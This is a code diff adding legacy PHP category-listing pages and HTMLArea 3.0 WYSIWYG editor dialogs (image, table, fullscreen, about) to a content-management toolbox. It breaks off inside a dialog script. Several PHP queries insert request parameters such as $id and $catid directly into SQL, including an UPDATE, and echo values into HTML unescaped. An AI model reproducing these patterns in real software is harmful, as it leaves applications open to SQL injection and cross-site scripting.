+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Records
+ </FONT>
+</TH>
+</tr>
+
+<?
+
+$c = "#cccccc";
+for($i = 0; $i < db_numrows($res); $i++) {
+ $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+ if(!$row[id])
+ html_error(DB_ERROR_MSG,1);
+ if($c == "#cccccc")
+ $c = "#b0b0b0";
+ else
+ $c = "#cccccc";
+ ?>
+<tr bgcolor="<?echo $c?>">
+ <td class="navtd2">
+ <form action="update_bus.phtml" method="POST">
+ <a href="edit_bus.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit]</a>
+ <?
+ $qs = "SELECT MAX(bus_category_bus.pos) as maxpos
+ FROM bus LEFT OUTER JOIN bus_category_bus ON (bus.id = bus_category_bus.busid)
+ WHERE bus_category_bus.catid = $catid;";
+ /*
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $catid
+ ";
+ */
+
+ if(!$maxresult = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data[maxpos];
+ $qs = "SELECT bcb.id
+ FROM bus_category_bus bcb,bus b
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND b.id = $row[id]
+ AND bcb.busid = b.id
+ ";
+
+ if(!$idres = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $idrow = db_fetch_array($idres,0,PGSQL_ASSOC);
+ $pos = "<font size=-4><select name=pos
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++) {
+ $string = "Command=Move&id=$idrow[id]&newpos=$newpos&catid=$catid";
+ $pos .= "<option value=\"update_bus.phtml?$string\"";
+ if($newpos == $row[pos]) {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select></font>";
+ echo $pos;
+ ?>
+ </form>
+ </td>
+ <td class="navtd2" width=80%><?echo $row[name]?></td>
+</tr>
+ <?
+ }
+echo "</table>\n";
+footer();
+?>
--- /dev/null
+<?php
+session_start();
+session_register("expanded");
+if( is_numeric( $_GET['expand'] ) )
+{
+ // code for adding expanded
+ $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) )
+{
+ // code for folding
+ $oldexp = $expanded;
+ session_unregister("expanded");
+ unset($oldexp[$fold]);
+ $expanded = $oldexp;
+ session_register("expanded");
+}
+//$Id: list_bus_category.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+include(BASE."classes/class_template.inc");
+
+if(!$conn = db_connect()) html_error(DB_ERROR_MSG,0);
+top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_1.0");
+if(isset($active))
+ {
+ if($active=="t")
+ {
+ $nd = "f";
+ }
+ else
+ {
+ $nd = "y";
+ }
+ $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+ db_exec($conn,$query);
+ }
+ $lnav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
+ $lnav["Expand All Levels"] = "list_bus_category.phtml?expand_all=1";
+ $lnav["Collaspe All Levels"] = "list_bus_category.phtml?collaspe_all=1";
+ unset($lnav["List Pages"]);
+ html_nav_table($lnav, 6);
+ ?>
+ <table bgcolor="#000000" width="500" cellpadding="4" cellspacing="0" align="center" border=0>
+ <tr bgcolor="#000000">
+ <th width=20%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Function
+ </font>
+ </th>
+ <th width=20%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Pos
+ </font>
+ </th>
+ <th width=60%>
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Category
+ </font>
+ </th>
+ </tr>
+ </table border=1>
+ <table width=500 bgcolor="#c0c0c0" cellpadding=0 cellspacing=0 align=center>
+
+ <tr><td>
+
+ <form action="update_bus_category.phtml" method="POST">
+ <?
+ include_once("threads.phtml");
+ $qs = "SELECT id,parent,pos,category,active
+ FROM bus_category
+ WHERE parent is not null
+ ORDER BY pos;";
+
+if(!$res = pg_Exec($conn,$qs))
+ {
+ echo "Failure".$qs;
+ }
+$toolbox =& new GLM_TEMPLATE( NULL );
+for($i=0;$i<pg_numrows($res);$i++)
+ {
+ $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+ $id = $data[id];
+ $category = $data["category"];
+ $parent = $data[parent];
+ $position = $data[pos];
+ if(TOOLBOX_FLAGS == 1)
+ {
+ if($data[active] == 't')
+ {
+ $alt = "Don't display";
+ }
+ else
+ {
+ $alt = "Display";
+ }
+ $active = '<a title="'.$alt.'" href="'.$PHP_SELF."?active=$data[active]&id=$data[id]".'">';
+ if($data[active] == "t")
+ {
+ $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+ }
+ else
+ {
+ $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+ }
+ }
+ if($show_pos)
+ {
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ if(!$maxresult = db_exec($conn,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data['maxpos'];
+ $pos = "<font size=-4><select name=pos
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++)
+ {
+ $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+ $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+ if($newpos == $position)
+ {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select></font>";
+ }
+ if( $expand_all == true )
+ {
+ $close = false;
+ $expanded[$id] = 1;
+ }
+ if( $collaspe_all == true )
+ {
+ $close = true;
+ unset($expanded[$id]);
+ }
+ if( $expanded[$id] )
+ {
+ $close = false;
+ }
+ else
+ {
+ $close = true;
+ }
+ $url = $toolbox->get_seo_url( $id );
+ $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+ $parent,"active" => $active,"closed" => $close,'seo_url'=>$url);
+ }
+
+ $links = array(
+ "beginLevel" => "<ul>",
+ "beginLevel2" => "<ul id=\"toolbox\">",
+ "endLevel" => "</ul>",
+ "beginItem" => "<li>",
+ "beginItem2" => "<li class=\"toolboxArrow\">",
+ "endItem" => "</li>");
+if(db_numrows($res) != 0)
+ {
+ $myThread = new Thread($links);
+ $converted = $myThread->sortChilds($threads); //sort threads by parent
+ print $myThread->convertToThread($converted, $converted[0]); //print the threads
+ }
+?>
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
--- /dev/null
+<html style="width: 380px; height: 250px;">
+<head><title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+function closeAbout() {
+ __dlg_close(null);
+}
+</script>
+<style>
+ html,body,textarea { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: ButtonFace; color: ButtonText; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; }
+</style></head>
+<body onload="__dlg_init()">
+
+<div style="background-color: #fff; color: #000; padding: 3px; border-bottom: 1px solid #000;">
+<div style="font-family: 'arial black',arial,sans-serif; font-size: 28px;
+letter-spacing: -1px;">
+<span style="position: relative; top: -0.2em">H</span><span
+style="position: relative; top: 0.1em">T</span><span
+style="position: relative; top: -0.1em">M</span><span
+style="position: relative; top: 0.2em">L</span> Area
+3.0 <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. beta ]</span></div>
+
+<div style="text-align: right; font-size: 90%; margin-bottom: 1em">
+Released on Aug 11, 2003 [21:30] GMT
+</div>
+</div>
+
+<div style="margin: 1em">
+
+<p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.</p>
+
+<p>For full source code and docs, visit:<br />
+<a href="http://www.interactivetools.com/products/htmlarea/" target="_blank"
+>http://www.interactivetools.com/products/htmlarea/</a></p>
+
+<p>Version 3.0 developed and maintained by <a href="http://students.infoiasi.ro/~mishoo/" target="_blank">mishoo</a>.</p>
+
+<p>© 2002, 2003 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc. All Rights Reserved.</p>
+
+</div>
+
+<div style="text-align: right; padding: 0px 3px 3px 0px;">
+<button type="button" onclick="closeAbout()">I agree it's cool</button>
+</div>
+
+</body></html>
+
+
--- /dev/null
+<html>
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">
+ <head>
+ <title>Select Phrase</title>
+<script language="javascript">
+
+var myTitle = window.dialogArguments;
+document.title = myTitle;
+
+
+function returnSelected() {
+ var idx = document.all.textPulldown.selectedIndex;
+ var text = document.all.textPulldown[idx].text;
+
+ window.returnValue = text; // set return value
+ window.close(); // close dialog
+}
+
+</script>
+</head>
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>
+
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">
+<div align=center>
+
+<select name="textPulldown">
+<option>The quick brown</option>
+<option>fox jumps over</option>
+<option>the lazy dog.</option>
+</select>
+
+<input type="button" value=" Go " onClick="returnSelected()">
+
+</div>
+</form>
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>
+ <head>
+ <title>Editor Help</title>
+ <style>
+ body, td, p, div { font-family: arial; font-size: x-small; }
+ </style>
+ </head>
+<body>
+
+<h2>Editor Help<hr></h2>
+
+Todo...
+
+
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css">
+@import url(../htmlarea.css);
+html, body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<!--
+<script type="text/javascript" src="../htmlarea.js"></script>
+<script type="text/javascript" src="../htmlarea-lang-en.js"></script>
+<script type="text/javascript" src="../dialog.js"></script>
+-->
+
+<script type="text/javascript">
+// load same scripts that were present in the opener page
+var scripts = opener.document.getElementsByTagName("script");
+var head = document.getElementsByTagName("head")[0];
+for (var i = 0; i < scripts.length; ++i) {
+ var script = scripts[i];
+ if (typeof script.src != "undefined" && /\S/.test(script.src)) {
+ // document.write("<scr" + "ipt type=" + "\"script/javascript\"");
+ // document.write(" src=\"../" + script.src + "\"></scr" + "ipt>");
+ var new_script = document.createElement("script");
+ if (/^http:/i.test(script.src)) {
+ new_script.src = script.src;
+ } else {
+ new_script.src = "../" + script.src;
+ }
+ head.appendChild(new_script);
+ }
+}
+</script>
+
+<script type="text/javascript">
+
+var parent_object = null;
+var editor = null; // to be initialized later [ function init() ]
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc(ev) {
+ if (document.all) {
+ // IE
+ ev = window.event;
+ }
+ if (ev.keyCode == 27) {
+ // update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var newHeight;
+ if (document.all) {
+ // IE
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;
+ if (newHeight < 0) { newHeight = 0; }
+ } else {
+ // Gecko
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;
+ }
+ if (editor.config.statusBar) {
+ newHeight -= editor._statusBar.offsetHeight;
+ }
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ parent_object = opener.HTMLArea._object;
+ var config = cloneObject( parent_object.config );
+ config.editorURL = "../";
+ config.width = "100%";
+ config.height = "auto";
+
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = [ 'Minimize Editor', 'images/fullscreen_minimize.gif', true,
+ function() { window.close(); } ];
+
+ // generate editor and resize it
+ editor = new HTMLArea("editor", config);
+ editor.generate();
+ editor._iframe.style.width = "100%";
+ editor._textArea.style.width = "100%";
+ resize_editor();
+
+ // set child window contents and event handlers, after a small delay
+ setTimeout(function() {
+ editor.setHTML(parent_object.getInnerHTML());
+
+ // switch mode if needed
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }
+
+ // continuously update parent editor window
+ setInterval(update_parent, 500);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ editor._doc.body.onkeypress = _CloseOnEsc;
+ editor._textArea.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+ }, 333); // give it some time to meet the new frame
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ // use the fast version
+ parent_object.setHTML(editor.getInnerHTML());
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">
+<textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>
+</form>
+
+</body></html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Image</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+var preview_window = null;
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_url").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_url": "You must enter the URL",
+ "f_alt": "Please enter the alternate text"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border",
+ "f_horiz", "f_vert"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(null);
+ return false;
+};
+
+function onPreview() {
+ alert("FIXME: preview needs rewritten:\n show the image inside this window instead of opening a new one.");
+ var f_url = document.getElementById("f_url");
+ var url = f_url.value;
+ if (!url) {
+ alert("You have to enter an URL first");
+ f_url.focus();
+ return false;
+ }
+ var img = new Image();
+ img.src = url;
+ var win = null;
+ if (!document.all) {
+ win = window.open("about:blank", "ha_imgpreview", "toolbar=no,menubar=no,personalbar=no,innerWidth=100,innerHeight=100,scrollbars=no,resizable=yes");
+ } else {
+ win = window.open("about:blank", "ha_imgpreview", "channelmode=no,directories=no,height=100,width=100,location=no,menubar=no,resizable=yes,scrollbars=no,toolbar=no");
+ }
+ preview_window = win;
+ var doc = win.document;
+ var body = doc.body;
+ if (body) {
+ body.innerHTML = "";
+ body.style.padding = "0px";
+ body.style.margin = "0px";
+ var el = doc.createElement("img");
+ el.src = url;
+
+ var table = doc.createElement("table");
+ body.appendChild(table);
+ table.style.width = "100%";
+ table.style.height = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ td.style.textAlign = "center";
+
+ td.appendChild(el);
+ win.resizeTo(el.offsetWidth + 30, el.offsetHeight + 30);
+ }
+ win.focus();
+ return false;
+};
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Image</div>
+
+<form action="" method="get">
+<table border="0" width="100%" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 7em; text-align: right">Image URL:</td>
+ <td><input type="text" name="url" id="f_url" style="width:75%"
+ title="Enter the image URL here" />
+ <button name="preview" onclick="return onPreview();"
+ title="Preview the image in a new window">Preview</button>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 7em; text-align: right">Alternate text:</td>
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"
+ title="For browsers that don't support images" /></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" selected="1" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5"
+title="Leave empty for no border" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Horizontal:</div>
+<input type="text" name="horiz" id="f_horiz" size="5"
+title="Horizontal padding" />
+
+<p />
+
+<div class="fr">Vertical:</div>
+<input type="text" name="vert" id="f_vert" size="5"
+title="Vertical padding" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<script>
+
+// if we pass the "window" object as a argument and then set opener to
+// equal that we can refer to dialogWindows and popupWindows the same way
+if (window.dialogArguments) { opener = window.dialogArguments; }
+
+var _editor_url = "../";
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');
+
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname
+var parent_config = opener.document.all[parent_objname].config;
+
+var config = cloneObject( parent_config );
+var objname = 'editor'; // name of this editor
+
+// DOMViewerObj = config;
+// DOMViewerName = 'config';
+// window.open('/innerHTML/domviewer.htm');
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) {
+ update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {
+ newObj = obj.constructor();
+ }
+
+ for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var editor = document.all['_editor_editor'];
+
+ newWidth = document.body.offsetWidth;
+ newHeight = document.body.offsetHeight - editor.offsetTop;
+
+ if (newWidth < 0) { newWidth = 0; }
+ if (newHeight < 0) { newHeight = 0; }
+
+ editor.style.width = newWidth;
+ editor.style.height = newHeight;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];
+
+ // set htmlmode button to refer to THIS editor
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];
+
+ // change image url to be relative to current path
+ config.imgURL = "../images/";
+
+ // generate editor and resize it
+ editor_generate('editor', config);
+ resize_editor();
+
+ // switch mode if needed
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }
+
+ // set child window contents
+ var parentHTML = opener.editor_getHTML(parent_objname);
+ editor_setHTML(objname, parentHTML);
+
+ // continuously update parent editor window
+ window.setInterval(update_parent, 333);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ var childHTML = editor_getHTML(objname);
+ opener.editor_setHTML(parent_objname, childHTML);
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>
+
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>
+
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">
+<HEAD>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta http-equiv="MSThemeCompatible" content="Yes">
+<TITLE>Insert Image</TITLE>
+<style>
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };
+</style>
+<SCRIPT defer>
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function _getTextRange(elm) {
+ var r = elm.parentTextEdit.createTextRange();
+ r.moveToElementText(elm);
+ return r;
+}
+
+window.onerror = HandleError
+
+function HandleError(message, url, line) {
+ var str = "An error has occurred in this dialog." + "\n\n"
+ + "Error: " + line + "\n" + message;
+ alert(str);
+ window.close();
+ return true;
+}
+
+function Init() {
+ var elmSelectedImage;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ btnOK.onclick = new Function("btnOKClick()");
+
+ txtFileName.fImageLoaded = false;
+ txtFileName.intImageWidth = 0;
+ txtFileName.intImageHeight = 0;
+
+ if (globalDoc.selection.type == htmlSelectionControl) {
+ if (grngMaster.length == 1) {
+ elmSelectedImage = grngMaster.item(0);
+ if (elmSelectedImage.tagName == "IMG") {
+ txtFileName.fImageLoaded = true;
+ if (elmSelectedImage.src) {
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths
+ txtFileName.intImageHeight = elmSelectedImage.height;
+ txtFileName.intImageWidth = elmSelectedImage.width;
+ txtVertical.value = elmSelectedImage.vspace;
+ txtHorizontal.value = elmSelectedImage.hspace;
+ txtBorder.value = elmSelectedImage.border;
+ txtAltText.value = elmSelectedImage.alt;
+ selAlignment.value = elmSelectedImage.align;
+ }
+ }
+ }
+ }
+ txtFileName.value = txtFileName.value || "http://";
+ txtFileName.focus();
+}
+
+function _isValidNumber(txtBox) {
+ var val = parseInt(txtBox);
+ if (isNaN(val) || val < 0 || val > 999) { return false; }
+ return true;
+}
+
+function btnOKClick() {
+ var elmImage;
+ var intAlignment;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // error checking
+
+ if (!txtFileName.value || txtFileName.value == "http://") {
+ alert("Image URL must be specified.");
+ txtFileName.focus();
+ return;
+ }
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {
